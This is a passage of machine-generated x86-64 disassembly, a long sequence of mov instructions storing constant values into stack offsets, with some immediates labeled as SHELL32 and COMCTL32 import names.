mov word [rsp + 0x150c], ax
mov dword [rsp + 0x5c44], 0x12c18b72
mov byte [rsp + 0x20c], ILSaveToStream
mov eax, 0xdaa
mov word [rsp + 0x1510], ax
mov byte [rsp + 0x20d], 0x69
mov eax, 0x68c
mov word [rsp + 0x1514], ax
mov dword [rsp + 0x5c48], 0xd82a
mov dword [rsp + 0x5c4c], 0x34742875
movabs rax, 0x779ae415296e5a
mov qword [rsp + 0xad00], rax
movabs rax, 0x714de7cb3eb8f9
mov qword [rsp + 0xad08], rax
mov eax, 0x73e
mov word [rsp + 0x1518], ax
movabs rax, 0x72c9e80e57cc01
mov qword [rsp + 0xad10], rax
movabs rax, 0x7e1c427d3b2cac
mov qword [rsp + 0xad18], rax
movabs rax, 0x7b04086652cc8c
mov qword [rsp + 0xad20], rax
mov byte [rsp + 0x20e], 0x88
mov byte [rsp + 0x20f], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
movabs rax, 0x70f59418b9d818
mov qword [rsp + 0xad28], rax
mov eax, 0xc66
mov word [rsp + 0x151c], ax
mov dword [rsp + 0x5c50], 0x7cbb
mov dword [rsp + 0x5c54], 0x27fe
mov dword [rsp + 0x5c58], 0x1158
movabs rax, 0x744ef99afcc8df
mov qword [rsp + 0xad30], rax
movabs rax, 0x7922bc6e9d0c40
mov qword [rsp + 0xad38], rax
mov eax, 0x7d8
mov word [rsp + 0x1520], ax
mov dword [rsp + 0x5c5c], 0x5548711e
movabs rax, 0x7664affc2d377f
mov qword [rsp + 0xad40], rax
mov eax, 0xec1
mov word [rsp + 0x1524], ax
movabs rax, 0x796839d3955a82
mov qword [rsp + 0xad48], rax
mov eax, 0x286
mov word [rsp + 0x1528], ax
mov eax, 0x875
mov word [rsp + 0x152c], ax
mov byte [rsp + 0x210], 0x7d
movabs rax, 0x7841e9b35ee4d1
mov qword [rsp + 0xad50], rax
movabs rax, 0x74326cb7029c50
mov qword [rsp + 0xad58], rax
mov byte [rsp + 0x211], 0x41
mov byte [rsp + 0x212], SHTestTokenMembership
movabs rax, 0x75963348d70a7d
mov qword [rsp + 0xad60], rax
mov dword [rsp + 0x5c60], 0x46af
mov dword [rsp + 0x5c64], 0x48ae17cd
mov eax, 0x1c0
mov word [rsp + 0x1530], ax
movabs rax, 0x7d9d5a673894dc
mov qword [rsp + 0xad68], rax
movabs rax, 0x7dcee092034bcb
mov qword [rsp + 0xad70], rax
movabs rax, 0x7af213080a460d
mov qword [rsp + 0xad78], rax
mov dword [rsp + 0x5c68], 0x8549
mov dword [rsp + 0x5c6c], 0x7a0d61b8
mov eax, 0x75f
mov word [rsp + 0x1534], ax
mov dword [rsp + 0x5c70], 0x93be
mov eax, 0x48f
mov word [rsp + 0x1538], ax
mov dword [rsp + 0x5c74], 0xab6d
mov byte [rsp + 0x213], reloc.SHELL32.dll_SHDoDragDrop
movabs rax, 0x7bd71d7b2aae6c
mov qword [rsp + 0xad80], rax
mov dword [rsp + 0x5c78], 0x44f20dec
mov eax, 0x11e
mov word [rsp + 0x153c], ax
mov dword [rsp + 0x5c7c], 0xf594
movabs rax, 0x74ea64fb58a681
mov qword [rsp + 0xad88], rax
movabs rax, 0x78cb2074ae200f
mov qword [rsp + 0xad90], rax
mov eax, 0x41d
mov word [rsp + 0x1540], ax
movabs rax, 0x7b6411763a3ed8
mov qword [rsp + 0xad98], rax
mov byte [rsp + 0x214], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x5c80], 0x8b12
mov eax, 0xa3e
mov word [rsp + 0x1544], ax
mov dword [rsp + 0x5c84], 0xf24d
mov byte [rsp + 0x215], 0x1c
movabs rax, 0x736033389a5c79
mov qword [rsp + 0xada0], rax
mov dword [rsp + 0x5c88], 0x91f3
mov byte [rsp + 0x216], 0x77
mov dword [rsp + 0x5c8c], 0x707617c1
mov byte [rsp + 0x217], 0xa
movabs rax, 0x7c08d2bc93c664
mov qword [rsp + 0xada8], rax
mov dword [rsp + 0x5c90], 0x492
mov eax, 0x2c1
mov word [rsp + 0x1548], ax
mov eax, 0x117
mov word [rsp + 0x154c], ax
mov byte [rsp + 0x218], reloc.SHELL32.dll_ILClone
movabs rax, 0x7dc11fb8b64492
mov qword [rsp + 0xadb0], rax
movabs rax, 0x7c34273b46012b
mov qword [rsp + 0xadb8], rax
movabs rax, 0x7bef50625a510a
mov qword [rsp + 0xadc0], rax
mov dword [rsp + 0x5c94], 0x515ac941
mov eax, 0x7f9
mov word [rsp + 0x1550], ax
movabs rax, 0x7e970751c8c20b
mov qword [rsp + 0xadc8], rax
mov dword [rsp + 0x5c98], 0x1e90
mov eax, 0xfad
mov word [rsp + 0x1554], ax
mov eax, 0xb0c
mov word [rsp + 0x1558], ax
mov eax, 0x5cb
mov word [rsp + 0x155c], ax
movabs rax, 0x7366efa11ff2d0
mov qword [rsp + 0xadd0], rax
movabs rax, 0x770d4e8b4168be
mov qword [rsp + 0xadd8], rax
mov eax, 0xe17
mov word [rsp + 0x1560], ax
mov byte [rsp + 0x219], 0x1d
mov eax, 0x532
mov word [rsp + 0x1564], ax
mov eax, 0x3cc
mov word [rsp + 0x1568], ax
mov dword [rsp + 0x5c9c], 0xa48c
mov eax, 0x3df
mov word [rsp + 0x156c], ax
mov eax, 0x159
mov word [rsp + 0x1570], ax
mov dword [rsp + 0x5ca0], 0xc62a
mov eax, 0x26c
mov word [rsp + 0x1574], ax
mov byte [rsp + 0x21a], 0x73
mov byte [rsp + 0x21b], 0x42
movabs rax, 0x770e99ec7aaeda
mov qword [rsp + 0xade0], rax
mov dword [rsp + 0x5ca4], 0x3174
mov dword [rsp + 0x5ca8], 0xf589
mov dword [rsp + 0x5cac], 0x630deed
mov eax, 0x366
mov word [rsp + 0x1578], ax
movabs rax, 0x76c7032991965d
mov qword [rsp + 0xade8], rax
mov eax, 0x551
mov word [rsp + 0x157c], ax
mov dword [rsp + 0x5cb0], 0x540a8969
movabs rax, 0x7ec1994c9d8e5e
mov qword [rsp + 0xadf0], rax
mov byte [rsp + 0x21c], PathMakeUniqueName
movabs rax, 0x709dc094e21e31
mov qword [rsp + 0xadf8], rax
movabs rax, 0x75ed140c06ff53
mov qword [rsp + 0xae00], rax
movabs rax, 0x7cdc35c2563d87
mov qword [rsp + 0xae08], rax
mov eax, 0xb49
mov word [rsp + 0x1580], ax
mov eax, 0x96e
mov word [rsp + 0x1584], ax
mov dword [rsp + 0x5cb4], 0xdc73
mov eax, 0x223
mov word [rsp + 0x1588], ax
movabs rax, 0x75fb5391d9c32b
mov qword [rsp + 0xae10], rax
movabs rax, 0x792818cad04788
mov qword [rsp + 0xae18], rax
mov eax, 0x6ef
mov word [rsp + 0x158c], ax
mov eax, 0xdd4
mov word [rsp + 0x1590], ax
movabs rax, 0x7ad3ca12c2b223
mov qword [rsp + 0xae20], rax
movabs rax, 0x70f0d22ea48601
mov qword [rsp + 0xae28], rax
mov byte [rsp + 0x21d], reloc.SHELL32.dll_ILIsEqual
mov eax, 0x4dc
mov word [rsp + 0x1594], ax
mov dword [rsp + 0x5cb8], 0x9931
movabs rax, 0x7c9f133ca80f6a
mov qword [rsp + 0xae30], rax
mov eax, 0x304
mov word [rsp + 0x1598], ax
mov byte [rsp + 0x21e], SHTestTokenMembership
mov eax, 0x1f5
mov word [rsp + 0x159c], ax
mov eax, 0x18f
mov word [rsp + 0x15a0], ax
mov byte [rsp + 0x21f], 0x36
mov eax, 0xb9a
mov word [rsp + 0x15a4], ax
mov dword [rsp + 0x5cbc], 0x54d5a8fc
mov eax, 0x46
mov word [rsp + 0x15a8], ax
mov eax, 0x29
mov word [rsp + 0x15ac], ax
movabs rax, 0x7041ecbd7348d1
mov qword [rsp + 0xae38], rax
mov eax, 0x639
mov word [rsp + 0x15b0], ax
mov dword [rsp + 0x5cc0], 0xf6f2
mov eax, 0x6a6
mov word [rsp + 0x15b4], ax
mov eax, 0x6a7
mov word [rsp + 0x15b8], ax
mov byte [rsp + 0x220], ILIsEqual
mov eax, 0x72b
mov word [rsp + 0x15bc], ax
movabs rax, 0x709d92fff2f350
mov qword [rsp + 0xae40], rax
movabs rax, 0x7c96528ce11603
mov qword [rsp + 0xae48], rax
mov eax, 0xee
mov word [rsp + 0x15c0], ax
mov eax, 0x965
mov word [rsp + 0x15c4], ax
mov dword [rsp + 0x5cc4], 0x46b48609
mov eax, 0x727
mov word [rsp + 0x15c8], ax
movabs rax, 0x7a7d5cb31a6359
mov qword [rsp + 0xae50], rax
mov dword [rsp + 0x5cc8], 0x6931
mov eax, 0x761
mov word [rsp + 0x15cc], ax
movabs rax, 0x70af580dc70e26
mov qword [rsp + 0xae58], rax
movabs rax, 0x775b6919f58bd8
mov qword [rsp + 0xae60], rax
mov eax, 0xe0c
mov word [rsp + 0x15d0], ax
mov eax, 0x73f
mov word [rsp + 0x15d4], ax
mov eax, 0x364
mov word [rsp + 0x15d8], ax
mov byte [rsp + 0x221], 0xc9
mov dword [rsp + 0x5ccc], 0xab48
movabs rax, 0x7dd6211f99527c
mov qword [rsp + 0xae68], rax
mov byte [rsp + 0x222], 0x30
movabs rax, 0x7697753124049e
mov qword [rsp + 0xae70], rax
mov dword [rsp + 0x5cd0], 0x791fd4df
movabs rax, 0x7a5ff8fca2a22e
mov qword [rsp + 0xae78], rax
mov eax, 0x12e
mov word [rsp + 0x15dc], ax
mov eax, 0x140
mov word [rsp + 0x15e0], ax
movabs rax, 0x732fa2d86457ff
mov qword [rsp + 0xae80], rax
mov dword [rsp + 0x5cd4], 0x8f62822
mov byte [rsp + 0x223], reloc.COMCTL32.dll_MakeDragList
movabs rax, 0x79d95dc53c47af
mov qword [rsp + 0xae88], rax
mov eax, 0x14d
mov word [rsp + 0x15e4], ax
mov eax, 0x721
mov word [rsp + 0x15e8], ax
movabs rax, 0x7bdb49710d39d7
mov qword [rsp + 0xae90], rax
movabs rax, 0x7c324fba3c13e9
mov qword [rsp + 0xae98], rax
mov eax, 0x83
mov word [rsp + 0x15ec], ax
mov eax, 0xc82
mov word [rsp + 0x15f0], ax
mov dword [rsp + 0x5cd8], 0x423fb4a2
movabs rax, 0x73e513a29f2d22
mov qword [rsp + 0xaea0], rax
mov byte [rsp + 0x224], reloc.SHELL32.dll_ILFindChild
mov dword [rsp + 0x5cdc], 0x16d274e4
mov eax, 0xeec
mov word [rsp + 0x15f4], ax
mov dword [rsp + 0x5ce0], 0xa208
mov eax, 0x718
mov word [rsp + 0x15f8], ax
movabs rax, 0x73b2d27ccb7fe3
mov qword [rsp + 0xaea8], rax
mov eax, 0x6dd
mov word [rsp + 0x15fc], ax
mov dword [rsp + 0x5ce4], 0x108d9394
mov byte [rsp + 0x225], ILIsEqual
movabs rax, 0x74fa6670c4f20d
mov qword [rsp + 0xaeb0], rax
mov byte [rsp + 0x226], PathYetAnotherMakeUniqueName
movabs rax, 0x73a6fee8b38057
mov qword [rsp + 0xaeb8], rax
movabs rax, 0x75a16abd2de817
mov qword [rsp + 0xaec0], rax
mov dword [rsp + 0x5ce8], 0x2721a3b5
mov dword [rsp + 0x5cec], 0x42e41dc2
mov eax, 0x604
mov word [rsp + 0x1600], ax
mov dword [rsp + 0x5cf0], 0x7911
movabs rax, 0x7eb850ffde118c
mov qword [rsp + 0xaec8], rax
mov byte [rsp + 0x227], 0x74
mov byte [rsp + 0x228], 0x3e
mov eax, 0x65b
mov word [rsp + 0x1604], ax
movabs rax, 0x7223b4027ae763
mov qword [rsp + 0xaed0], rax
mov dword [rsp + 0x5cf4], 0x7b3c
mov byte [rsp + 0x229], SHGetNewLinkInfoW
mov dword [rsp + 0x5cf8], 0xbb
movabs rax, 0x746b2c38069d04
mov qword [rsp + 0xaed8], rax
movabs rax, 0x721be0a3e7fed8
mov qword [rsp + 0xaee0], rax
mov eax, 0x6b5
mov word [rsp + 0x1608], ax
mov eax, 0x68f
mov word [rsp + 0x160c], ax
movabs rax, 0x7782cf13638952
mov qword [rsp + 0xaee8], rax
mov byte [rsp + 0x22a], 0x23
mov eax, 0x32d
mov word [rsp + 0x1610], ax
mov eax, 0x340
mov word [rsp + 0x1614], ax
mov eax, 0x91
mov word [rsp + 0x1618], ax
mov eax, 0xb3b
mov word [rsp + 0x161c], ax
movabs rax, 0x71753ad4ffaae3
mov qword [rsp + 0xaef0], rax
mov eax, 0xe3f
mov word [rsp + 0x1620], ax
mov eax, 0xff
mov word [rsp + 0x1624], ax
mov eax, 0x61b
mov word [rsp + 0x1628], ax
mov dword [rsp + 0x5cfc], 0x59e6672a
mov byte [rsp + 0x22b], SHSetInstanceExplorer
mov eax, 0x661
mov word [rsp + 0x162c], ax
mov byte [rsp + 0x22c], 0x1c
mov byte [rsp + 0x22d], 0x79
mov eax, 0x151
mov word [rsp + 0x1630], ax
mov dword [rsp + 0x5d00], 0x15b0
movabs rax, 0x710457685dd6c4
mov qword [rsp + 0xaef8], rax
mov dword [rsp + 0x5d04], 0x1e53994e
movabs rax, 0x7b160e1f8665ac
mov qword [rsp + 0xaf00], rax
movabs rax, 0x73b84ce316ea07
mov qword [rsp + 0xaf08], rax
mov byte [rsp + 0x22e], 0x20
mov byte [rsp + 0x22f], SHGetNewLinkInfoW
movabs rax, 0x785f16780f30d6
mov qword [rsp + 0xaf10], rax
mov dword [rsp + 0x5d08], 0xfde7
movabs rax, 0x715b0af70a2106
mov qword [rsp + 0xaf18], rax
mov byte [rsp + 0x230], 0x42
mov eax, 0x3f
mov word [rsp + 0x1634], ax
movabs rax, 0x7b5e96e016cc9d
mov qword [rsp + 0xaf20], rax
mov dword [rsp + 0x5d0c], 0x64aadb32
mov dword [rsp + 0x5d10], 0x5513
movabs rax, 0x789b74f4282310
mov qword [rsp + 0xaf28], rax
movabs rax, 0x75926cec659bcb
mov qword [rsp + 0xaf30], rax
mov dword [rsp + 0x5d14], 0x7d97bf9b
mov dword [rsp + 0x5d18], 0x9e15
movabs rax, 0x74c39a421a315f
mov qword [rsp + 0xaf38], rax
movabs rax, 0x7bb8573757def4
mov qword [rsp + 0xaf40], rax
mov eax, 0x371
mov word [rsp + 0x1638], ax
mov byte [rsp + 0x231], 0x3f
mov eax, 0xfc7
mov word [rsp + 0x163c], ax
mov dword [rsp + 0x5d1c], 0x29293169
mov byte [rsp + 0x232], 7
mov dword [rsp + 0x5d20], 0x61d1
mov eax, 0x3a6
mov word [rsp + 0x1640], ax
mov eax, 0x311
mov word [rsp + 0x1644], ax
movabs rax, 0x75afa2382d1957
mov qword [rsp + 0xaf48], rax
mov byte [rsp + 0x233], PathYetAnotherMakeUniqueName
mov eax, 0xa94
mov word [rsp + 0x1648], ax
mov eax, 0x120
mov word [rsp + 0x164c], ax
movabs rax, 0x73a18611f7e71f
mov qword [rsp + 0xaf50], rax
movabs rax, 0x7b96bda898af42
mov qword [rsp + 0xaf58], rax
movabs rax, 0x7cb0b25768261b
mov qword [rsp + 0xaf60], rax
mov dword [rsp + 0x5d24], 0x3cc7
mov eax, SHGetImageList
mov word [rsp + 0x1650], ax
mov byte [rsp + 0x234], SHDoDragDrop
movabs rax, 0x759e46d41e6b8f
mov qword [rsp + 0xaf68], rax
mov dword [rsp + 0x5d28], 0x239155b3
mov eax, 0x4ee
mov word [rsp + 0x1654], ax
mov dword [rsp + 0x5d2c], 0xda56
mov byte [rsp + 0x235], reloc.SHELL32.dll_ILGetNext
mov dword [rsp + 0x5d30], 0x7b45
mov byte [rsp + 0x236], 0xa0
movabs rax, 0x706ed87f822c95
mov qword [rsp + 0xaf70], rax
mov eax, 0x37f
mov word [rsp + 0x1658], ax
movabs rax, 0x795c62d1966d05
mov qword [rsp + 0xaf78], rax
mov byte [rsp + 0x237], 0x6e
mov dword [rsp + 0x5d34], 0xff12
mov eax, 0x61d
mov word [rsp + 0x165c], ax
mov dword [rsp + 0x5d38], 0x9fcb
mov eax, 0x907
mov word [rsp + 0x1660], ax
movabs rax, 0x7883b4f365aea2
mov qword [rsp + 0xaf80], rax
movabs rax, 0x7ad0bdf0029694
mov qword [rsp + 0xaf88], rax
mov eax, 0x481
mov word [rsp + 0x1664], ax
mov eax, 0xad1
mov word [rsp + 0x1668], ax
movabs rax, 0x7bd39372a3e589
mov qword [rsp + 0xaf90], rax
mov dword [rsp + 0x5d3c], 0xf117
mov eax, 0xb21
mov word [rsp + 0x166c], ax
movabs rax, 0x72b45903ce10af
mov qword [rsp + 0xaf98], rax
mov eax, 0x30e
mov word [rsp + 0x1670], ax
mov eax, 0xf4d
mov word [rsp + 0x1674], ax
mov eax, 0xf9b
mov word [rsp + 0x1678], ax
mov eax, 0x884
mov word [rsp + 0x167c], ax
movabs rax, 0x7aaec82897b522
mov qword [rsp + 0xafa0], rax
mov byte [rsp + 0x238], 0x60
mov eax, 0xc2f
mov word [rsp + 0x1680], ax
mov byte [rsp + 0x239], 0x63
mov dword [rsp + 0x5d40], 0xa8c1
mov byte [rsp + 0x23a], ILSaveToStream
mov byte [rsp + 0x23b], 0x7e
mov eax, 0x7cd
mov word [rsp + 0x1684], ax
movabs rax, 0x787663062b67ba
mov qword [rsp + 0xafa8], rax
mov dword [rsp + 0x5d44], 0xaa51
movabs rax, 0x7a12be50ad6bc5
mov qword [rsp + 0xafb0], rax
movabs rax, 0x704e2ede3d6efc
mov qword [rsp + 0xafb8], rax
mov eax, 0x76f
mov word [rsp + 0x1688], ax
mov dword [rsp + 0x5d48], 0xb6f7
movabs rax, 0x7427a176edfa13
mov qword [rsp + 0xafc0], rax
mov dword [rsp + 0x5d4c], 0xb584
mov dword [rsp + 0x5d50], 0x26e9
mov dword [rsp + 0x5d54], 0x5fa7
mov eax, 0xfdd
mov word [rsp + 0x168c], ax
movabs rax, 0x749096dbbffd47
mov qword [rsp + 0xafc8], rax
mov byte [rsp + 0x23c], PathMakeUniqueName
movabs rax, 0x711434fff90aac
mov qword [rsp + 0xafd0], rax
mov dword [rsp + 0x5d58], 0x3e29
mov eax, 0xfca
mov word [rsp + 0x1690], ax
mov dword [rsp + 0x5d5c], 0x1e61a78b
mov eax, 0x250
mov word [rsp + 0x1694], ax
mov eax, 0x5e
mov word [rsp + 0x1698], ax
mov eax, 0x6e
mov word [rsp + 0x169c], ax
mov eax, 0x23e
mov word [rsp + 0x16a0], ax
mov eax, 0x95c
mov word [rsp + 0x16a4], ax
movabs rax, 0x7bf21fbb3c96f5
mov qword [rsp + 0xafd8], rax
mov eax, 0x12a
mov word [rsp + 0x16a8], ax
movabs rax, 0x71669c09f58598
mov qword [rsp + 0xafe0], rax
mov byte [rsp + 0x23d], 0x7a
mov eax, 0x118
mov word [rsp + 0x16ac], ax
mov byte [rsp + 0x23e], PathMakeUniqueName
movabs rax, 0x791c9037f04dd4
mov qword [rsp + 0xafe8], rax
mov byte [rsp + 0x23f], 0x73
movabs rax, 0x79bf8d27400db5
mov qword [rsp + 0xaff0], rax
mov eax, 0x622
mov word [rsp + 0x16b0], ax
mov eax, 0x770
mov word [rsp + 0x16b4], ax
mov eax, 0x65d
mov word [rsp + 0x16b8], ax
mov eax, 0x457
mov word [rsp + 0x16bc], ax
mov eax, 0x229
mov word [rsp + 0x16c0], ax
movabs rax, 0x7366f299f94b9d
mov qword [rsp + 0xaff8], rax
movabs rax, 0x700ea8140f5715
mov qword [rsp + 0xb000], rax
mov eax, 0xd5
mov word [rsp + 0x16c4], ax
movabs rax, 0x781c07038e2fe3
mov qword [rsp + 0xb008], rax
mov byte [rsp + 0x240], 0x5b
movabs rax, 0x777f5f156604e3
mov qword [rsp + 0xb010], rax
mov dword [rsp + 0x5d60], 0x2ef3aa6c
mov eax, 0xca6
mov word [rsp + 0x16c8], ax
movabs rax, 0x72c14cfd3f4e21
mov qword [rsp + 0xb018], rax
mov dword [rsp + 0x5d64], 0x26a
mov eax, 0xef
mov word [rsp + 0x16cc], ax
mov byte [rsp + 0x241], 0x76
movabs rax, 0x70b80820258d5e
mov qword [rsp + 0xb020], rax
movabs rax, 0x7ea2fdc70bf0f5
mov qword [rsp + 0xb028], rax
mov eax, 0x187
mov word [rsp + 0x16d0], ax
mov dword [rsp + 0x5d68], 0x5f16
mov byte [rsp + 0x242], ILGetSize
mov eax, SHTestTokenMembership
mov word [rsp + 0x16d4], ax
mov byte [rsp + 0x243], 0x80
movabs rax, 0x7b10ba2c3a07c5
mov qword [rsp + 0xb030], rax
movabs rax, 0x74941bed72f3e5
mov qword [rsp + 0xb038], rax
mov byte [rsp + 0x244], ILFree
mov eax, 0xa78
mov word [rsp + 0x16d8], ax
mov eax, 0x1ca
mov word [rsp + 0x16dc], ax
mov byte [rsp + 0x245], SHDoDragDrop
mov eax, 0x934
mov word [rsp + 0x16e0], ax
mov eax, 0x26e
mov word [rsp + 0x16e4], ax
movabs rax, 0x705218400a6b59
mov qword [rsp + 0xb040], rax
movabs rax, 0x720e680c23f9eb
mov qword [rsp + 0xb048], rax
movabs rax, 0x775f913ef057f8
mov qword [rsp + 0xb050], rax
movabs rax, 0x79d433c69cff27
mov qword [rsp + 0xb058], rax
movabs rax, 0x7d7ba401ad12a3
mov qword [rsp + 0xb060], rax
movabs rax, 0x73b510d615906b
mov qword [rsp + 0xb068], rax
movabs rax, 0x78724a96f21431
mov qword [rsp + 0xb070], rax
mov dword [rsp + 0x5d6c], 0x9f6a
mov eax, 0x3e8
mov word [rsp + 0x16e8], ax
mov dword [rsp + 0x5d70], 0x4390776c
mov dword [rsp + 0x5d74], 0x3e695740
movabs rax, 0x7063c40ff215ee
mov qword [rsp + 0xb078], rax
mov eax, 0xbdb
mov word [rsp + 0x16ec], ax
movabs rax, 0x75c7ecbdf89abf
mov qword [rsp + 0xb080], rax
mov eax, 0xdd4
mov word [rsp + 0x16f0], ax
mov eax, 0x114
mov word [rsp + 0x16f4], ax
mov dword [rsp + 0x5d78], 0x14c11d4a
mov dword [rsp + 0x5d7c], 0x739b
movabs rax, 0x76cc5281d41668
mov qword [rsp + 0xb088], rax
mov dword [rsp + 0x5d80], 0x51d323c3
mov dword [rsp + 0x5d84], 0x40cd
mov eax, 0xac5
mov word [rsp + 0x16f8], ax
mov eax, 0x791
mov word [rsp + 0x16fc], ax
mov byte [rsp + 0x246], 0x7d
mov byte [rsp + 0x247], 0x5d
movabs rax, 0x7a0c2f916a7b61
mov qword [rsp + 0xb090], rax
mov eax, 0x6b1
mov word [rsp + 0x1700], ax
mov dword [rsp + 0x5d88], 0x1584
movabs rax, 0x7ae3d94ca6787c
mov qword [rsp + 0xb098], rax
mov byte [rsp + 0x248], 0x37
mov dword [rsp + 0x5d8c], 0xdc3e
movabs rax, 0x7372ae0aedc032
mov qword [rsp + 0xb0a0], rax
mov dword [rsp + 0x5d90], 0x2db6
mov dword [rsp + 0x5d94], 0xb0cf
movabs rax, 0x7589b3e9f16d10
mov qword [rsp + 0xb0a8], rax
movabs rax, 0x72d1b16e263245
mov qword [rsp + 0xb0b0], rax
movabs rax, 0x71a4c16d581715
mov qword [rsp + 0xb0b8], rax
mov byte [rsp + 0x249], 0x6e
mov byte [rsp + 0x24a], 0xed
movabs rax, 0x70a737786c5140
mov qword [rsp + 0xb0c0], rax
mov byte [rsp + 0x24b], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x5d98], 0x8846
mov dword [rsp + 0x5d9c], 0xeed6
mov dword [rsp + 0x5da0], 0xd58d
mov eax, MakeDragList
mov word [rsp + 0x1704], ax
mov eax, 0x726
mov word [rsp + 0x1708], ax
mov eax, 0x5e1
mov word [rsp + 0x170c], ax
mov eax, 0x181
mov word [rsp + 0x1710], ax
mov byte [rsp + 0x24c], 0x79
movabs rax, 0x72e31e2a6d8111
mov qword [rsp + 0xb0c8], rax
movabs rax, 0x7aff3e20745393
mov qword [rsp + 0xb0d0], rax
mov byte [rsp + 0x24d], SHDoDragDrop
mov eax, 0x901
mov word [rsp + 0x1714], ax
movabs rax, 0x79d07e5c1edb94
mov qword [rsp + 0xb0d8], rax
mov eax, 0xa3b
mov word [rsp + 0x1718], ax
mov byte [rsp + 0x24e], 0x72
movabs rax, 0x73b505c1a538e3
mov qword [rsp + 0xb0e0], rax
mov byte [rsp + 0x24f], 0x43
movabs rax, 0x74fc3eadaf2f99
mov qword [rsp + 0xb0e8], rax
mov eax, 0x5d4
mov word [rsp + 0x171c], ax
mov eax, 0x42c
mov word [rsp + 0x1720], ax
mov dword [rsp + 0x5da4], 0x6347
mov dword [rsp + 0x5da8], 0x1febbd07
movabs rax, 0x72c47564dddcae
mov qword [rsp + 0xb0f0], rax
movabs rax, 0x7568251c5a7054
mov qword [rsp + 0xb0f8], rax
movabs rax, 0x7b42c7c6505dee
mov qword [rsp + 0xb100], rax
movabs rax, 0x7b4b0c694d8081
mov qword [rsp + 0xb108], rax
movabs rax, 0x70cafffa979abc
mov qword [rsp + 0xb110], rax
mov byte [rsp + 0x250], 0x30
movabs rax, 0x7d2821ff86e0bd
mov qword [rsp + 0xb118], rax
mov dword [rsp + 0x5dac], 0x3e1ed8f
movabs rax, 0x70b7497a107ce9
mov qword [rsp + 0xb120], rax
mov eax, 0x22e
mov word [rsp + 0x1724], ax
movabs rax, 0x7abd324174c405
mov qword [rsp + 0xb128], rax
mov eax, 0x3b4
mov word [rsp + 0x1728], ax
mov dword [rsp + 0x5db0], 0xb181
mov byte [rsp + 0x251], 0x8d
mov eax, 0x309
mov word [rsp + 0x172c], ax
movabs rax, 0x7a5527ca88eedc
mov qword [rsp + 0xb130], rax
mov byte [rsp + 0x252], 0x67
mov eax, 0x59d
mov word [rsp + 0x1730], ax
movabs rax, 0x721d23cc4fce3b
mov qword [rsp + 0xb138], rax
mov dword [rsp + 0x5db4], 0x1bdb
mov dword [rsp + 0x5db8], 0x3fc5cbbb
mov eax, 0xc8f
mov word [rsp + 0x1734], ax
movabs rax, 0x7c8be3212f33d6
mov qword [rsp + 0xb140], rax
mov byte [rsp + 0x253], 4
mov byte [rsp + 0x254], 0x22
mov dword [rsp + 0x5dbc], 0xcfdce99
mov eax, 0x6e9
mov word [rsp + 0x1738], ax
mov dword [rsp + 0x5dc0], 0x24d1
mov dword [rsp + 0x5dc4], 0x1383e7dc
mov eax, 0x591
mov word [rsp + 0x173c], ax
mov eax, 0xfd7
mov word [rsp + 0x1740], ax
movabs rax, 0x7568d5eb17881e
mov qword [rsp + 0xb148], rax
movabs rax, 0x72dfa9b7410f57
mov qword [rsp + 0xb150], rax
movabs rax, 0x70e2073e6333d9
mov qword [rsp + 0xb158], rax
mov eax, 0x1d2
mov word [rsp + 0x1744], ax
mov byte [rsp + 0x255], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
movabs rax, 0x70875c6ffd9b5c
mov qword [rsp + 0xb160], rax
mov eax, 0x445
mov word [rsp + 0x1748], ax
movabs rax, 0x75f5c998e04410
mov qword [rsp + 0xb168], rax
mov dword [rsp + 0x5dc8], 0x326b616b
mov dword [rsp + 0x5dcc], 0xf5bc
mov byte [rsp + 0x256], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x257], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x5dd0], 0x7171
mov eax, 0x783
mov word [rsp + 0x174c], ax
mov dword [rsp + 0x5dd4], 0x4d080fbc
mov byte [rsp + 0x258], 0x80
mov byte [rsp + 0x259], 0x76
mov byte [rsp + 0x25a], 0x69
mov eax, 0x7ce
mov word [rsp + 0x1750], ax
mov dword [rsp + 0x5dd8], 0x6f5c0f94
movabs rax, 0x70574ced6b1f5d
mov qword [rsp + 0xb170], rax
movabs rax, 0x71f3ae04f6a643
mov qword [rsp + 0xb178], rax
mov byte [rsp + 0x25b], 0x43
movabs rax, 0x743c0170e9d07a
mov qword [rsp + 0xb180], rax
mov eax, 0x709
mov word [rsp + 0x1754], ax
movabs rax, 0x715b7fcebb5b2c
mov qword [rsp + 0xb188], rax
mov eax, 0x440
mov word [rsp + 0x1758], ax
movabs rax, 0x73d014c4ccaf47
mov qword [rsp + 0xb190], rax
movabs rax, 0x7676943ef1650f
mov qword [rsp + 0xb198], rax
movabs rax, 0x72a064cdafa760
mov qword [rsp + 0xb1a0], rax
mov dword [rsp + 0x5ddc], 0x8775
mov eax, 0x5ba
mov word [rsp + 0x175c], ax
movabs rax, 0x757e7c0e6486fd
mov qword [rsp + 0xb1a8], rax
movabs rax, 0x73c69d2a4d04d1
mov qword [rsp + 0xb1b0], rax
movabs rax, 0x7d2a745c49fa76
mov qword [rsp + 0xb1b8], rax
mov dword [rsp + 0x5de0], 0x28541e63
mov byte [rsp + 0x25c], reloc.SHELL32.dll_ILGetNext
mov eax, 0x972
mov word [rsp + 0x1760], ax
mov eax, 0x35f
mov word [rsp + 0x1764], ax
mov eax, 0xebd
mov word [rsp + 0x1768], ax
mov byte [rsp + 0x25d], reloc.SHELL32.dll_ILFindChild
mov byte [rsp + 0x25e], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x5de4], 0x3308
mov dword [rsp + 0x5de8], 0xca41
mov dword [rsp + 0x5dec], 0x76f804db
mov eax, 0x577
mov word [rsp + 0x176c], ax
mov byte [rsp + 0x25f], SHTestTokenMembership
movabs rax, 0x7802782b2567a0
mov qword [rsp + 0xb1c0], rax
movabs rax, 0x75bcfc7b7b22f3
mov qword [rsp + 0xb1c8], rax
mov eax, 0xedd
mov word [rsp + 0x1770], ax
movabs rax, 0x7b19f0f65d3e9f
mov qword [rsp + 0xb1d0], rax
mov eax, 0xde8
mov word [rsp + 0x1774], ax
mov byte [rsp + 0x260], PathMakeUniqueName
mov byte [rsp + 0x261], 0x3d
movabs rax, 0x73db753ae197a6
mov qword [rsp + 0xb1d8], rax
mov eax, 0x5b1
mov word [rsp + 0x1778], ax
mov byte [rsp + 0x262], 0xa8
mov byte [rsp + 0x263], 1
mov byte [rsp + 0x264], PathYetAnotherMakeUniqueName
